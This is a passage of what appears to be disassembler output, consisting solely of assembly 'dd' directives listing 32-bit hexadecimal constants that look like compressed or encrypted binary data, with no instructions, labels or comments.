		dd 584BB9B0h, 0E2E29Fh,	0A3A69DBEh, 8A5C6D2Ah, 7F714600h
		dd 0D258BF03h, 8C540082h, 1591D653h, 0DF03F063h, 0D719A847h
		dd 93F1F983h, 902CE3F4h, 738A0028h, 0F3B89C4Dh,	920029A5h
		dd 0AC5A3C38h, 3ABF7Bh,	0B1CC8961h, 0AA57B3F8h,	75825003h
		dd 3C27CF51h, 6400D9D6h, 0B33A245Fh, 7403775Eh,	0E719476h
		dd 1975883Dh, 0EB0F0CCFh, 0DE103C88h, 0FCC69100h, 3930DB56h
		dd 6EA70F25h, 0CF21E316h, 807917A9h, 0CF96A28h,	1D18E082h
		dd 0D9220Dh, 95F598F6h,	4F20AFE8h, 1D09984Bh, 80B9C058h
		dd 0D6657157h, 0FF65521h, 0CD4BEF00h, 662C0C7Bh, 38F3F0A4h
		dd 0C9806A8Fh, 5A84DDAFh, 1D035B92h, 97DCC63Bh,	0B1308824h
		dd 5CF1004Ah, 1534381Bh, 18007668h, 85C4712Ch, 9ACFF6h
		dd 2B5FE0FDh, 0E93EB206h, 0E4C65100h, 0C28B4DB0h, 6E96003Dh
		dd 7D862BD6h, 0F400617Bh, 1D6A3E73h, 1ACA605h, 0AE90D731h
		dd 0D8D37E0Dh, 6D039F69h, 0EF42215Dh, 69CB833h,	0C51200C0h
		dd 6064EB30h, 0F60087BAh, 5EA174FBh, 13A4C7Eh, 0AE6A196Eh
		dd 209C3B6Dh, 0CD006972h, 0BE22233Fh, 3D959BE1h, 6C81A5FAh
		dd 0BF061694h, 0D2FFC493h, 232CA81Ch, 0FC600F83h, 4C6BD0DDh
		dd 0B17F645h, 28EAF33Eh, 0EDDCA980h, 0F900B4C3h, 88EFF7ECh
		dd 79BEE7F6h, 434100D3h, 2902D185h, 0FF0E67DEh,	407511BAh
		dd 0FB928761h, 72A90082h, 85D81897h, 2008AB4h, 9B8B048Fh
		dd 1370D3Ah, 7DEA3D75h,	0D0BE13F9h, 0BC00760Eh,	4881FC57h
		dd 397835h, 0C860053Eh,	0DB0EA4FBh, 0D0F610C0h,	88932ECEh
		dd 2AF03DB5h, 3F111A17h, 888FDF0Ah, 0BA5E6E04h,	70B01087h
		dd 0BC4F3BB3h, 0D509078Ch, 0C9A10C9h, 0D00123FBh, 0DB8B456Bh
		dd 0A2C19387h, 3DDF9E4h, 49B95A43h, 9BF0636Eh, 0B00FB1Fh
		dd 7EBD3B02h, 6B87C3h, 5B2A14E9h, 49CE9668h, 5847C00h
		dd 0BE435C75h, 3E6E00A6h, 0C541B683h, 0E609C6CDh, 0A05E3EBh
		dd 7800B014h, 7397AC76h, 0AA9900A4h, 3E022530h,	0DD036047h
		dd 8BC3DBF9h, 0FB9887Ch, 1DC607F2h, 1ED878C0h, 0DA0913C0h
		dd 5D0089E8h, 689C7EEBh, 0E31992h, 633215B1h, 0DE0C6533h
		dd 298BF801h, 0E95AD0A9h, 0E567F03Eh, 429D3F00h, 4DEE4744h
		dd 41760051h, 3722213Dh, 0F01777Ah, 313328DDh, 3BE8E9C7h
		dd 80D1405h, 9A002C76h,	1EF5922Fh, 1B013EFEh, 1A5DD06Eh
		dd 73D4B506h, 6703009Bh, 74B94263h, 9E003E93h, 0B2342D02h
		dd 0AC218h, 0B684C7BEh,	7C64E84Bh, 77FFF600h, 0FE316139h
		dd 0F540ED3Ch, 3D78400Eh, 54014A87h, 0C2B7C74h,	0BDFF08Bh
		dd 0F0FD210Fh, 0DD3821E5h, 0BC303237h, 98DB0BDAh, 0F980E265h
		dd 0BE15C64Ch, 0DECF960Fh, 0A5A7C008h, 35E0E31h, 33BC6809h
		dd 77E0491Eh, 9C00B0D5h, 0DF0CE651h, 3B655253h,	5480C0FAh
		dd 32C32A6Bh, 0BF3A7874h, 577E00BAh, 3C1265F5h,	6EDD0050h
		dd 4D4E7CDCh, 303BCC0h,	3F6F1709h, 6569C8FFh, 0F9DF03E4h
		dd 6B0BC720h, 8CE4F2CEh, 0E7353A00h, 6F64CB7Ch,	0B70F01EDh
		dd 0F27FAF1Dh, 0B1C7D4A8h, 2500C576h, 0BD47E908h, 39C2BF72h
		dd 6000F30Bh, 8E282A4Bh, 8F00FE90h, 34E4E94Fh, 897EAEh
		dd 0DCCE4669h, 44FBC3CAh, 13F2D300h, 0EE64FD8Fh, 2B2200BDh
		dd 0A582B395h, 0FAE239BFh, 1B42C400h, 0CB1C3635h, 4CCE0048h
		dd 509FA3F4h, 0A00E330h, 0E637DEECh, 0B9D978h, 0D40E63E2h
		dd 0BE25E9D2h, 0AE722900h, 0CB8B1192h, 12DB00D3h, 791060D9h
		dd 2000DD75h, 7956689h,	5FD6E9h, 98FAF29Fh, 0EAACB49Dh
		dd 3FEE0B00h, 0CAD36B60h, 5C421CFCh, 6FD7C03Bh,	745DE02Bh
		dd 0E2C8EC03h, 88360424h, 7B140122h, 0FE6B00C4h, 0B62F1948h
		dd 2B004E31h, 39BB6821h, 1EF7DBD2h, 0C075DEA3h,	277265B9h
		dd 9607C142h, 0DD5BA29Ch, 0C22D0710h, 8D03008Fh, 1CEDB60Eh
		dd 4700160Fh, 1B823AF5h, 7FB031h, 70C7B9F3h, 0E87A5C18h
		dd 7E439801h, 9B6B7D10h, 6F58F4h, 2A283685h, 0E15A6207h
		dd 1BF9AC00h, 0E72E3797h, 0DC75007Eh, 863B6E99h, 173A29F4h
		dd 4D98BF7h, 6F26002Ch,	5059BEh, 891ADC95h, 42B57E34h
		dd 68000BFCh, 3A455E1Dh, 0F60A7Ah, 0C5E796DCh, 0E6F5C017h
		dd 0E383580Fh, 0E013AE44h, 8C3E1BAFh, 3B410049h, 0CA33192Ah
		dd 50009529h, 1BD8FF83h, 0AF9C0D6h, 1C37D560h, 0B02F03CCh
		dd 77981424h, 0EA003BC2h, 0F10AD122h, 0E015C199h, 0C41C005Ah
		dd 3864D76Eh, 700537Ch,	45D049D3h, 0DB41F3h, 9DC56681h
		dd 6555BBF8h, 0E226300h, 3EA292B8h, 5CE004Bh, 6DCD1927h
		dd 913D53B6h, 972D0051h, 8143605Bh, 2C1500A4h, 19DCFB35h
		dd 9D00E37Eh, 1356A051h, 0EE241Dh, 0CAB009D0h, 990FAC26h
		dd 6BF78500h, 0A358176Fh
		dd 0C9F512BAh, 0C46800BDh, 2A5E8745h, 9B43E900h, 22983841h
		dd 12C300DDh, 2D4B6BD2h, 5C1FA707h, 924F66C2h, 0E8424035h
		dd 18EBA3Ch, 55F6F2D0h,	0D729854Eh, 0E14C88B8h,	714D5B4Ch
		dd 0A982D150h, 4D2FF301h, 1DA27E1Ch, 1E48330h, 0B00296E5h
		dd 2BA137B7h, 0E0E806F1h, 13E048h, 0A0045212h, 0D45CF1Bh
		dd 607E4700h, 0ADB55D3Eh, 25D4006Dh, 7B1C3B61h,	671D5221h
		dd 0AE80C1B0h, 5787F139h, 0DBB50083h, 705158A6h, 263F611Dh
		dd 0F80807FEh, 65308FCBh, 91EA316Bh, 3389000Ch,	0D0C3C27Eh
		dd 6121A0CFh, 565BB893h, 0B984E0C7h, 0A16C0091h, 19F9A76Bh
		dd 3E002C7Fh, 14DBE5CFh, 7FD2EDA0h, 574D01C1h, 0E4B4A422h
		dd 3BD6C8C2h, 55293F00h, 0EE7D834Fh, 15455C14h,	5F7C9300h
		dd 0B368116h, 40139000h, 6AC950E2h, 0B6480009h,	0CC872FD3h
		dd 0A01CA23Fh, 6F406096h, 2E34EFB3h, 0F67100F7h, 0F8173DFCh
		dd 0A7008A6Dh, 0FB231A2Bh, 576CC0h, 0F3F9473h, 3A015F89h
		dd 29C539h, 7BDFD86Eh, 7D9315FCh, 55A102F2h, 0C8914B49h
		dd 64EF16E0h, 3295AD1Eh, 1D218BC0h, 3F4B597h, 386E013Bh
		dd 61A03CE7h, 22007AB1h, 0FC50AE11h, 3D728ACh, 0EDB77525h
		dd 71D84D02h, 94008C1Ch, 845DA4Ah, 86D22Eh, 3690D7ACh
		dd 7AED5574h, 0E80079F2h, 0DDF1692Dh, 7318AD19h, 95DF035Ah
		dd 0CA473DC4h, 0D365E22Eh, 0C34B8500h, 0FC553Ah, 2144A0B3h
		dd 49C6E618h, 0BCEF931Fh, 0C3FF8483h, 0B8D28879h, 1FB036h
		dd 6720E790h, 588B56DCh, 0AD535E1Fh, 0D17B00BDh, 9F98C813h
		dd 0F733002Dh, 5575D247h, 0A1F88E63h, 30D49300h, 788B4E0Ah
		dd 0AC0600F7h, 0CC456D08h, 731ECB0Bh, 0A2C3969Fh, 0EC560F21h
		dd 1D9484C0h, 7CE87Ah, 9BC7EFE4h, 8719D839h, 95050207h
		dd 35D0C3F6h, 3B445Eh, 0A26F143Dh, 3723641Eh, 0AD7EB000h
		dd 0E5A60FF5h, 595C00FBh, 95DA2C9Fh, 4A012AFCh,	8B70D5Fh
		dd 1020B24Ch, 0AB640751h, 0F03ADDE1h, 0ECD26FCEh, 0ACC1240Fh
		dd 41BA45F0h, 748BB000h, 0DEDFFFh, 23AEAB3Ch, 22B2E67Eh
		dd 0A9006FE2h, 88D42CF7h, 0EA35D313h, 110E1DC6h, 0ABAD00EDh
		dd 0A37F73F5h, 7B663200h, 0F6DEB592h, 52331ECBh, 0D8F8C712h
		dd 0C380AB84h, 1E273B09h, 0D9668C1Fh, 0A8BE2F40h, 7C593C98h
		dd 0DEEEB4h, 488C4F0h, 17AEFD9Dh, 0D5274F0Fh, 2F80FCA7h
		dd 0FF185CE9h, 43F80050h, 0F07F6B85h, 2300215Dh, 39B201D3h
		dd 0FE9611B3h, 8C40002Bh, 8DAC3D57h, 30002155h,	0F75658A5h
		dd 9F4ACCh, 35BF04E0h, 5C8A5AB7h, 740077FAh, 0E7821FC9h
		dd 1A7548h, 0AC159832h,	30B9935Ah, 68BC9D00h, 1EC64D07h
		dd 8060063h, 0E55513E2h, 12615AE1h, 0A362E928h,	0B570D4h
		dd 8753672Fh, 0C6C0AEC3h, 52BE2600h, 9506714Bh,	325A00D4h
		dd 9810EF7Dh, 5D00F7CBh, 978DB46Dh, 75B77Bh, 1BC63DA5h
		dd 0F83002E7h, 0D55E7C00h, 0F09B83Ch, 4B0400E6h, 6B1A01C5h
		dd 0FC009B67h, 0B6975E10h, 81D6F4h, 3F7ADC09h, 51F7B3B8h
		dd 0B449F30Eh, 34F62054h, 336D614h, 281FBBDEh, 74F05D79h
		dd 3A1CB7EFh, 0B9C0C1DDh, 22887796h, 98831F05h,	47FF0039h
		dd 0D5AE24D4h, 0D73C4800h, 0CB5C50B0h, 7837004Ah, 6FD34CEBh
		dd 330EB7D4h, 20BF511Bh, 24EF203h, 3F3781Ch, 0E039CB96h
		dd 98E8A4D2h, 0C000F663h, 793832AFh, 57A7A6h, 9261D32Eh
		dd 30C83ACEh, 2767AC1Fh, 97C0645Dh, 4009C188h, 8CFCC9h
		dd 4DFB46F4h, 64A98DF8h, 653BB203h, 80177D7Eh, 0EF1E37Bh
		dd 50AD2D06h, 7615F001h, 5A79F0B1h, 3A00D5EAh, 0FC6CE22h
		dd 8A8DF6h, 0D09C40A5h,	212CFAEBh, 0BDD27200h, 7033576h
		dd 26341E3Ah, 0C8C4C0DDh, 7B19A160h, 0F303D5FAh, 2990B72Bh
		dd 0E37CA0EAh, 5EC82AE7h, 0F3980088h, 0DF713848h, 6B00950Ch
		dd 0D54FD725h, 1E6A8D7Eh, 0E84DBFh, 7BC57537h, 0E000D651h
		dd 9DE5434Ah, 7A73FAF4h, 708C775Dh, 5CBB8FCh, 0D9F54E13h
		dd 20EC04ABh, 0AFC0FF46h, 3E62E80h, 0B6519B24h,	4788325Dh
		dd 0BB00C50Ch, 5B428C3h, 26713ADh, 6D3B8618h, 50602E5Fh
		dd 4800C054h, 0A66B27B2h, 2C146097h, 17229DFh, 318B7D9Dh
		dd 2CBFC435h, 0A45850FAh, 346B0065h, 9966366Eh,	72010080h
		dd 0B49CC013h, 0B001A39h, 0F32B75E7h, 5C17F1h, 0A0671965h
		dd 22CD4753h, 92373100h, 41C1A9DAh, 0A3C71E56h,	0D85314h
		dd 65268D7Dh, 33004776h, 0F9486196h, 7156338h, 570BFE1Dh
		dd 22BDE0C9h, 65305446h, 6D7CD8A7h, 5E05F63h, 0C316B4CDh
		dd 52D859ECh, 0C100ECB0h, 70D07319h, 501C514Ah,	0F4BF3Fh
		dd 0A0187D8Ch, 150BAAD6h, 6E583000h, 9619269Eh,	1471A2h
		dd 0B0CCF475h, 6C889DBDh, 0AFF02E00h, 6F9087BEh, 0FFB20A56h
		dd 0A82FECh, 7DFC2DA5h,	6019430h, 4019BD3Dh, 0CED045D7h
		dd 0E3AD004Ah, 0DE2E818Fh, 8618BE1Ch, 34108EB9h, 6ACC00BDh
		dd 0C685E6B1h, 5C00AB3Fh, 5F13AAB0h, 0A0945BFEh, 0F2AD1F4h
		dd 26A99FE1h, 0B3D4C840h, 2B3D72FCh, 40548009h,	45B16435h
		dd 3B2EE077h, 0D7802094h, 0B51AC3D4h, 6D001EB0h, 5B50CB2Dh
		dd 0C9E4E8h, 0F02426D2h, 0B5ED7D77h, 0A51F900h,	97A5620Fh
		dd 1A960B61h, 0BA811CD6h, 5022018Eh, 52178FF8h,	9A3E4F1Ch
		dd 0FAE6A100h, 90E0E8A4h, 0F7070700h, 20F3F06Bh, 0A281A3FCh
		dd 3CE549h, 0F978ECE2h,	0FA192D3Eh, 0EF351888h,	1D205952h
		dd 49C3597Eh, 0C867378Ah, 2AA2A4C7h, 0FBD40972h, 0E2522E4h
		dd 9502A007h, 402F1D85h, 70086BC4h, 0D43CEEBAh,	27378F3Ch
		dd 2C130047h, 30A8032h,	0F89075CBh, 0D80712BDh,	669289A0h
		dd 90D788CCh, 98B3008Ch, 8A345F6Ch, 0C9005EA0h,	206B939h
		dd 280F6AA2h, 0E9E858h,	2954404Fh, 9F7AB850h, 358A6400h
		dd 0E0F3AD1h, 611C0E75h, 0B38A4439h, 3CA003E8h,	0B490C335h
		dd 0D6B08F18h, 5F274D00h, 3F83E511h, 0E600013h,	4C050790h
		dd 790B6FF8h, 0F7827232h, 70677580h, 1900BB13h,	0A8F9B37Ch
		dd 0D0283Fh, 5D02494Eh,	5BB8787Bh, 1498A901h, 77405FF9h
		dd 0FBA7D60h, 0D7BD57F4h, 502665A0h, 550719BCh,	30C34273h
		dd 5E439240h, 0BD611839h, 91DB0AFh, 8414C100h, 58D2FA10h
		dd 8747034Dh, 0CC7ECE03h, 65C03DB8h, 27002173h,	6BF48F22h
		dd 7EEAEEB3h, 3B3C285Eh, 253501ECh, 46C628F8h, 848960FCh
		dd 0DFA1110Fh, 0B2801F1Bh, 0DE197C32h, 3065008Fh, 6AB1818Bh
		dd 5A004AABh, 894341C9h, 0E9EA36Bh, 0A52FA201h,	0CFB9E020h
		dd 0F00088E6h, 9BC1AEFBh, 172AA83Dh, 0B8D6BD45h, 14A42606h
		dd 7512800h, 21B614h, 76F2B82Ch, 46894CD1h, 9A309400h
		dd 5CDA9715h, 17B501BEh, 0C02C59EBh, 8BAF6077h,	0BFC6B200h
		dd 82741D48h, 4C35E4A1h, 18031499h, 0B009E071h,	8B4288F0h
		dd 244CFF01h, 0EDA0A63h, 90F4C24h, 53541713h, 50007814h
		dd 0E4AAE09Ah, 98614B34h, 4DA374D4h, 19041036h,	90F9DF65h
		dd 92081EA0h, 0DA8A6B00h, 0ACC8290Bh, 0A7BD441Fh, 0B70CDE98h
		dd 0F8AE1C1Ah, 0A268078Ch, 40F6F8D4h, 51256424h, 0A0263900h
		dd 0EF991BA6h, 0DE444880h, 42AC2201h, 0C8C08641h, 0D3007335h
		dd 38DF0970h, 13236746h, 0FB2B620Bh, 0CF48BA0Eh, 0A079CC2h
		dd 0EFE747FAh, 0B68366B0h, 2C2E0086h, 0D369CDB5h, 5C05D018h
		dd 0A680FB4Dh, 52519900h, 60D203h, 0B29CD513h, 0F8E8DA7Dh
		dd 2916C8E8h, 5C4D74D6h
		dd 8243AA2h, 0F297F480h, 76140E0Ah, 0A900C88Eh,	4A455DA3h
		dd 4306D4F0h, 180C2FCBh, 0C2490030h, 0F537811Eh, 331679FDh
		dd 7000E993h, 173C044Dh, 0D796013Eh, 25483AD6h,	0A1DF83Fh
		dd 1570200h, 21F2428Dh,	437E2676h, 20BD12C8h, 1523C40Ch
		dd 4190D07Bh, 4B489100h, 582697FEh, 0F0CB0029h,	5449A5EAh
		dd 0E4E46D77h, 1EC10600h, 88A2189h, 0F5D005Ah, 3741FCCh
		dd 711315B8h, 44028741h, 0CCF86AE9h, 96ED022Ch,	0FE933FBDh
		dd 2BFBA463h, 0CF328AC8h, 748CC300h, 0B2B3647Dh, 2D20E8Fh
		dd 1F23244Ah, 7BC85CA9h, 0D10EF365h, 3212B1A4h,	0E7ED1401h
		dd 40834D64h, 151167F6h, 2EC91801h, 1424A321h, 200C1087h
		dd 42AE7072h, 5EECE422h, 98EE0400h, 365A1AA4h, 0FE51E6Ch
		dd 0BB3F80E7h, 2F698BB2h, 0C0DBD100h, 868D925Ah, 41C30075h
		dd 0E85EA95Fh, 13005010h, 723119A3h, 26C2D8C6h,	7386742h
		dd 0A5D13390h, 0C996C020h, 4700B0F4h, 0F6EE9BEDh, 0C42992h
		dd 0F08755A1h, 15D0D4D1h, 62398C00h, 3686BC26h,	1AE900C1h
		dd 74B9F2D8h, 0D3035187h, 0A556F9B4h, 1315D863h, 0BD3A14D4h
		dd 9200A08Bh, 18D074FDh, 2204F397h, 0FF9C435Dh,	35F0AC0h
		dd 0F07DE4h, 0D28CCCC1h, 9805A82Dh, 3013DB00h, 6D801279h
		dd 477ADFh, 3E6F7EE2h, 0BC490F43h, 37000677h, 0C07CF194h
		dd 1AFDBCCh, 0A91E4E57h, 2086113Dh, 0AB00CFA8h,	748F4229h
		dd 70F50934h, 0EC5A00A5h, 47D4E9D3h, 7603624Dh,	6C9F61B5h
		dd 0A7DE0002h, 7983D965h, 901D38C2h, 76C05C7Dh,	1DBC12FAh
		dd 3A5E14CDh, 300882Bh,	7049EC16h, 0D770E08Dh, 14B5B00Eh
		dd 0A9452056h, 13A1968h, 0D01C34BAh, 0D4899F7Eh, 0B1007808h
		dd 612999CDh, 0E7D4BEh,	553E4250h, 15A4AA0Fh, 0B5288700h
		dd 0A7EBF639h, 5174860h, 65FCC90Eh, 3C4F2320h, 9305A492h
		dd 0A88622FBh, 0C8F3C6h, 9CE3B395h, 4BB802B0h, 5F5E500h
		dd 0A270F089h, 9B6D3FAEh, 45FB1DFDh, 39D30044h,	42225216h
		dd 1CCE6300h, 0EC1F46A8h, 0F2B10051h, 3A8057B8h, 0C000536Fh
		dd 6EB3EDFDh, 0C82C7A0h, 0AA6C9D13h, 87382DA0h,	20B20130h
		dd 7C8C428Eh, 0C7AF6084h, 4B3480BFh, 0C103DD69h, 0C2FFF24Ch
		dd 0F032B8CAh, 95E250h,	71AD759Ch, 7948E6Fh, 373E1001h
		dd 0B79A3325h, 0C0EF9B60h, 0A6311C78h, 0CF000CB5h, 54F4734Bh
		dd 1865DA61h, 18B42C9Ah, 0B2771E24h, 316AA814h,	470203E0h
		dd 0A0843BAEh, 97942Ah,	56C1EBFEh, 0B785D22Ch, 41D7720Ah
		dd 5C0ECCBCh, 5262C017h, 1865A594h, 38460A61h, 0C900E068h
		dd 8830EDB2h, 7C43D595h, 76AC2E2Bh, 90B0097h, 0DFA098FFh
		dd 16075177h, 0C0116DA2h, 0BBBCF650h, 0CA490059h, 835B4880h
		dd 0A30361B3h, 21C26C4h, 0C78800EEh, 0CB4D8711h, 0FC0003AEh
		dd 0CBBD993h, 3E14914h,	77DD0E7Fh, 6000F42Fh, 2225E9ECh
		dd 7BFFAC7h, 0D66097F6h, 4C00EEE6h, 3215B492h, 0B1682F00h
		dd 9CD39F14h, 4563005Fh, 3EE7E005h, 2F0E2E23h, 60ED1DE8h
		dd 773A2DD8h, 0B91C0076h, 9EF5ADC4h, 7E05756Fh,	13D1ED39h
		dd 95C09180h, 3EFA0025h, 58541190h, 3B1465B6h, 0F3B36Fh
		dd 0C75F38C6h, 75089CEh, 0D7945672h, 0E32A90D4h, 0E800BE6Dh
		dd 5A424A0Eh, 1EE5CC5Ch, 0C0B75FF1h, 1DE9F426h,	79043C6Eh
		dd 204DD839h, 0EABC4880h, 6F80039Bh, 5B882F7Bh,	951FC1B0h
		dd 8096343Dh, 0EC4C1042h, 178B689h, 2848FE53h, 0C4F8AF98h
		dd 664C9D8Ah, 1FCB00DBh, 0AD8DE052h, 94270016h,	25464C04h
		dd 6C13F131h, 200FA0DCh, 0E6582041h, 0B1DFC8h, 0E96EF937h
		dd 4345E213h, 54482E01h, 6A9AAB56h, 8424A6D5h, 0D4960085h
		dd 0EB8A166Dh, 0AB0045E3h, 97C0A868h, 7794B6h, 862550D7h
		dd 0CD73B229h, 2C30C502h, 40A893FEh, 658C60h, 4FC88288h
		dd 0FDD78B26h, 610B80A0h, 0F791B200h, 3068C62h,	6ECD0082h
		dd 23ED8483h, 9000468Bh, 34059B79h, 0C49D999h, 936D04C9h
		dd 5C006ED0h, 0B7C71D53h, 6744C9Dh, 0EF5D40DAh,	190E6014h
		dd 60466DD3h, 0BFFF6F28h, 0B67903E8h, 0FDB1D7B2h, 974459A8h
		dd 125E2200h, 0E1BBD8ECh, 0D37D3C5Ah, 9FF5DD80h, 0F6DA318Eh
		dd 14944301h, 0F7A89B9Dh, 9E6C20h, 3FD044BEh, 0C24D902Bh
		dd 0C70BBCA0h, 811FD43Dh, 964CDD45h, 6880B974h,	39FBF4A6h
		dd 1003A14Ah, 13B10D43h, 0AA7BC09Eh, 37870021h,	0DFD12D83h
		dd 0C54990BBh, 0B46C2488h, 0F6EB66h, 50814783h,	0E26D9A71h
		dd 0A68B1AC0h, 1E1ECC1h, 677D61F0h, 0C8C83897h,	0C20F019Dh
		dd 0E3FDF9E6h, 957F4437h, 45619C0h, 98690A24h, 0AC8EEA1h
		dd 40907AD0h, 44352A4Dh, 0D1C75A00h, 3053C055h,	0AB970020h
		dd 7C6925DEh, 38C4ED1Eh, 0C227BBCh, 0F0CD7120h,	0A26900F6h
		dd 3272EDBBh, 5090E589h, 19D6CB18h, 0CED930h, 0EE060D66h
		dd 8A17305Eh, 40416100h, 3DE0E760h, 7898397Ch, 0C0CE0D9Dh
		dd 6ADA174Eh, 0D50083C0h, 0AC5E87F3h, 14C38138h, 0A9781F22h
		dd 4699EB09h, 0C56A6580h, 1E14B345h, 1A82D3Bh, 0F438AF51h
		dd 8C24DB67h, 0FE1C58E1h, 0B79384Ch, 87CEE39Bh,	4EEC2E80h
		dd 0D8B0A93Ch, 99B3D301h, 35083AF4h, 76182423h,	0F5ABF02Dh
		dd 59C03ADDh, 19BC5C72h, 0F0E460F0h, 0C1A867E0h, 0BD5E4701h
		dd 0CD3176F1h, 37017080h, 0D82567Ah, 0FCA18D00h, 276E2C71h
		dd 477400C4h, 3DF97542h, 0D501C036h, 9982FB7Eh,	2A80D0CBh
		dd 0A8E993C2h, 3A00DBB9h, 8C280442h, 987B482Fh,	0F18E006Ch
		dd 2A1E3F01h, 2DEA9E82h, 2B7150Eh, 761620D1h, 73805DBEh
		dd 0A1CA0372h, 8E01F6FDh, 31D7EEC8h, 2A005377h,	0FFF41F5Ah
		dd 3425C07h, 9652A0AEh,	30BF84ECh, 0FCD925C1h, 0F3FB3Ah
		dd 4CA6989Ch, 1DC69D2h,	655275Eh, 0F6420C96h, 7E9CDE40h
		dd 0E0E74090h, 0CF001743h, 0FCB60937h, 3A9FDAF4h, 0A6000162h
		dd 982A0E3Fh, 0EC00FEA9h, 77D94B3Eh, 0F39EE14h,	0F7B42951h
		dd 0BB2001Fh, 4A307D19h, 0A05220FFh, 0E3796A00h, 0D3F2AEA9h
		dd 40650074h, 60DDBF0Bh, 4278E5EDh, 0A300A0F2h,	921080AFh
		dd 30DCF0Ah, 8F20C139h,	2A06F7Fh, 370050CAh, 0BE72B63Eh
		dd 0B0AB88F1h, 8543007Ch, 3091F95h, 0D7499C3h, 6C390E0Eh
		dd 0EF1AC2E1h, 8898606Bh, 0FCBE2CEh, 0B915D59Ch, 8E5F81A3h
		dd 0C55B6002h, 60B85489h, 18F1121Ch, 386C07B2h,	0B60C554Bh
		dd 10698B3Dh, 270D0B18h, 0E800A81Dh, 1C2A3A33h,	256B620Dh
		dd 0AC6051EBh, 0BE0D0021h, 3C430B96h, 50789BB3h, 74909F75h
		dd 70E3D600h, 202B620Fh, 290805E5h, 80269EEDh, 339321B8h
		dd 23C38600h, 0B59F7916h, 0D582000Dh, 21D71DCDh, 2600ACAEh
		dd 0A69D8B35h, 0EA830E41h, 573F047Fh, 806788C3h, 8AC07AA2h
		dd 320098FCh, 312EB56Ah, 42F57EDh, 5D1CCD1Bh, 55C4915Ch
		dd 0F85470C5h, 70C4D512h, 3AF7C13h, 5CBCA516h, 0BD53D3F8h
		dd 63EA9000h, 6929F8F9h, 91CD28E3h, 0F1CE00D8h,	0B6358FD9h
		dd 0FE01BB75h, 0E8E628CCh, 587482CAh, 1170009Bh, 0B8023AB4h
		dd 9D1355A7h, 0A44042CFh, 3132DB4Ah, 987E78h, 0D02D38C0h
		dd 0B87EFACAh, 8E928800h, 8465F73Eh, 6F160190h,	0F91CE463h
		dd 8383708Bh, 0CF9F7F00h, 5437B8D1h, 0AAB53CAFh, 4028A19Dh
		dd 87D4EB03h, 0C100D697h, 9BDF8A32h, 8B98ECh, 0F26A0719h
		dd 5F1773D9h, 81EEBE00h, 29BB5916h, 58AD0003h, 0C913409Eh
		dd 0D400C355h, 4D12D389h
		dd 1CD7511Ah, 802B3EA2h, 32714A6Ch, 0F8E2EFC6h,	5EB55D00h
		dd 69869DE5h, 7E20739Ch, 4CB8B23Bh, 0D3805C71h,	52605014h
		dd 9E165438h, 87CBD42Fh, 25E48349h, 1D98C0D1h, 411201C0h
		dd 780B8EA1h, 0AB60801Fh, 0C250E9C6h, 695F1607h, 60D81894h
		dd 653DA634h, 0BC410A02h, 0F182D4CCh, 0C83A8B93h, 56A8E8h
		dd 324957F2h, 4428E495h, 41886A00h, 2A18F875h, 0A9DC027Ch
		dd 682E0D61h, 60768043h, 46509473h, 0E601E5A4h,	0D6A97109h
		dd 0C0EB5F9Ch, 2778B55h, 0D287C526h, 0B5C2CAEBh, 34C35CC8h
		dd 97E11C00h, 0A04FA5FDh, 46150C68h, 0C0F055C2h, 0AE990600h
		dd 7C76A6F3h, 68F700DFh, 0CFE43C29h, 0B800AD97h, 70911351h
		dd 1F5BD305h, 804E090Eh, 78261192h, 930714C3h, 3ECDD0E6h
		dd 0CB22DDD0h, 9A880063h, 51C03175h, 2924B86Fh,	7B004C4Fh
		dd 0AE79035h, 6C4C00FEh, 820631DEh, 0F7036F71h,	0A0440133h
		dd 90F1E8F6h, 57B90035h, 0E64A1C4Dh, 1D00933Dh,	0B2FBE801h
		dd 6B96B734h, 4C00B86Dh, 0A104A597h, 8F006372h,	2011A637h
		dd 172AE303h, 0B3BD202h, 0B0204228h, 0D4F9D817h, 36000B72h
		dd 126F186Eh, 9668C1h, 31B8BBD9h, 7A48A3A5h, 1F477F00h
		dd 9FE5E0B4h, 55770288h, 5839695Eh, 0A06B3048h,	8E006372h
		dd 0ED9FA738h, 9FF8632h, 7E0AD956h, 4563B4A3h, 2FC6ADC9h
		dd 189433F0h, 0A0B81F07h, 0C301C5C7h, 76AC5461h, 64603001h
		dd 4143004Eh, 80B20950h, 0E55C1967h, 0C7721CDFh, 74C5AD40h
		dd 0DFFED9h, 6E3713C4h,	3D5E8ECFh, 942A4F07h, 4C60B117h
		dd 7919B782h, 0A1BB19B9h, 60E7C664h, 100D586h, 2A1F3F1Ah
		dd 4D849546h, 0E30084F4h, 7875B512h, 7F73310Ch,	0FF11C100h
		dd 0C5CD4FBCh, 248C00F1h, 0F98BC920h, 704427Dh,	79FAF650h
		dd 0A6A874D0h, 9B4C2C71h, 0D7840114h, 701BD6CAh, 0AB008AE2h
		dd 0B821D47Fh, 186CC285h, 0AE8CEA62h, 0CE00BCDAh, 659B0936h
		dd 543C8A7h, 10B9DC26h,	32CC73Fh, 31D09A37h, 1E09CCEAh
		dd 256B835h, 0C8476A4Ch, 2C8A480Ch, 8010FDF1h, 25FAF552h
		dd 0E001F25Bh, 4DF9E559h, 0F4ECB77Bh, 0B8C00C6h, 955AC982h
		dd 0FE2EFC41h, 408490D7h, 0CB00A06Eh, 3953E09Dh, 0B6F8CF05h
		dd 70C1C820h, 0CC40EA6Eh, 848F1h, 90371DFBh, 424BD879h
		dd 0C7164401h, 1ED72411h, 552FECh, 76DBF1D3h, 0B5A6846Bh
		dd 9D711400h, 0AB7B1347h, 138E864h, 0EEE8C5BAh,	0D8A45615h
		dd 81302BAAh, 0CD226009h, 0E54C3B31h, 0B9655E04h, 0EFFCD0F9h
		dd 69EAFBC6h, 0B2120601h, 666539A1h, 7C2834h, 0F9CDC5E4h
		dd 720740A6h, 0C300A8FAh, 8EBE2535h, 0F70A02h, 3ACFDA4Fh
		dd 0F3919009h, 7A44D30Eh, 60D7CF52h, 0C49FD88Eh, 54651D86h
		dd 1AC081DFh, 500F1270h, 0E9CB8CFCh, 323FD20Fh,	11F12690h
		dd 59821F18h, 0A3E446C8h, 890710EEh, 3F569FC9h,	0D2F69AB0h
		dd 8A1F00F7h, 0A5A7B273h, 0CA006F5Ah, 551E40A2h, 0ECCC4Ah
		dd 0C2A454A1h, 2E1F0F9Ch, 84839801h, 1267CF97h,	0C0DEC825h
		dd 25118A1Fh, 288335C8h, 0E9DA8B9Ch, 5C4794A0h,	0AC18992Fh
		dd 83898409h, 646F5273h, 87E85310h, 0BA403785h,	309F6188h
		dd 0CE59342Bh, 45001241h, 0E81A30A4h, 73CBF88h,	6D7E60EDh
